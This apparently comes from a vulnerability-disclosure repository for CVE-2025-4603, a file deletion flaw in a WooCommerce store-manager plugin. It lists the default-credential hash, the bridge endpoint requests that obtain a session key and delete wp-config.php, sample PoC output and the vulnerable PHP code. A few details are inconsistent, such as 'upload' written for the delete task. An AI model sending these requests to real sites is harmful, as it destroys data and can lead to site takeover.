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CVE-2025-4603 PoC — eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Deletion

Source
Associated Vulnerability
Title: eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Deletion (CVE-2025-4603)
Description:The eMagicOne Store Manager for WooCommerce plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete_file() function in all versions up to, and including, 1.2.5. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is only exploitable by unauthenticated attackers in default configurations where the the default password is left as 1:1, or where the attacker gains access to the credentials.
Description
eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Deletion
Readme
# eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Deletion

The [eMagicOne Store Manager for WooCommerce](https://wordpress.org/plugins/store-manager-connector/) plugin exposes a remote management protocol endpoint (`?connector=bridge`) that allows file deletion operations on the server. The authentication mechanism relies on a default credential pair (`login=1`, `password=1`) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and delete arbitrary files from the WordPress root or any accessible directory.


## Reproduction
A POC [CVE-2025-4603.py](./CVE-2025-4603.py) is provided to demonstrate an attacker deleting `wp-config.php`.

```
python3 CVE-2025-4603.py https://lab1.hacker --file wp-config.php
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] Got session key: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] Attempting to delete file...
[*] Delete response: {"response_code":"20","message":"File was deleted from FTP Server successfully"}
```



## Vulnerable Flow
### Default Credentials and Hash Calculation

On plugin activation, the following constants are set in `smconnector.php`:

```php
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
```

The default hash used for authentication is:
```php
'smconnector_hash'   => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
```
**Result:** The default hash is `md5('1' . '1')` = `c4ca4238a0b923820dcc509a6f75849b`.


### Session Key Acquisition
A session key is obtained by sending a POST request to the bridge endpoint with the hash and a task (e.g., `get_version`):

```http
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded

hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
```

**Relevant code:**  
`classes/class-emosmconnectorcommon.php` (lines ~441-525):

```php
private function check_auth() {
    if ( $this->shop_cart->isset_request_param( 'key' ) ) {
        // ... session key validation ...
    } elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
        $hash = (string) $this->shop_cart->get_request_param( 'hash' );
        if ( ! $this->is_hash_valid( $hash ) ) {
            // ... error ...
        }
        $key = $this->generate_session_key( $hash );
        // ... return session key ...
    }
}
```

---

### Session Key Storage

The session key is stored in the `wp_smconnector_session_keys` table:

```php
private function generate_session_key( $hash ) {
    $key = hash( 'sha256', $hash . $timestamp );
    $sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
        . "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
        . $date . "', '" . $date . "')";
    $this->shop_cart->exec_sql( $sql );
    return $key;
}
```




### Arbitrary File Deletion
With a valid session key, an attacker can upload a file using the `delete_file` task:



```http
POST /?connector=bridge&task=delete_file&key=<session_key>&path=wp-content.php

```

**Relevant code:**
`classes/class-emosmconnectorcommon.php` (lines ~2167+):

```php
	/** Delete file */
	private function delete_file() {
		if ( ! $this->shop_cart->isset_request_param( 'path' ) ) {
			$this->generate_error( $this->br_errors['path_param_missing'] );
		}

		$filepath = (string) $this->shop_cart->get_request_param( 'path' );

		if ( empty( $filepath ) ) {
			$this->generate_error( $this->br_errors['path_param_empty'] );
		}

		$filepath = $this->shop_cart->get_shop_root_dir() . '/' . $filepath;

		if ( ! $this->shop_cart->file_exists( $filepath ) ) {
			$this->generate_error( $this->br_errors['delete_file_error'] );
		}

		$this->shop_cart->delete_file( $filepath );
	}
```


File deletion in `class-emosmcwoocommerceoverrider.php` (lines ~380+)::
```php
public function delete_file($filepath) {
    if (!file_exists($filepath)) {
        die(json_encode(array(
            self::CODE_RESPONSE => self::ERROR_CODE_COMMON,
            self::KEY_MESSAGE => 'File is missing on server',
        )));
    }

    if (unlink($filepath)) {
        die(json_encode(array(
            self::CODE_RESPONSE => self::SUCCESSFUL,
            self::KEY_MESSAGE => 'File was deleted from FTP Server successfully',
        )));
    }
}
```
**Result:** The file is deleted from the server.

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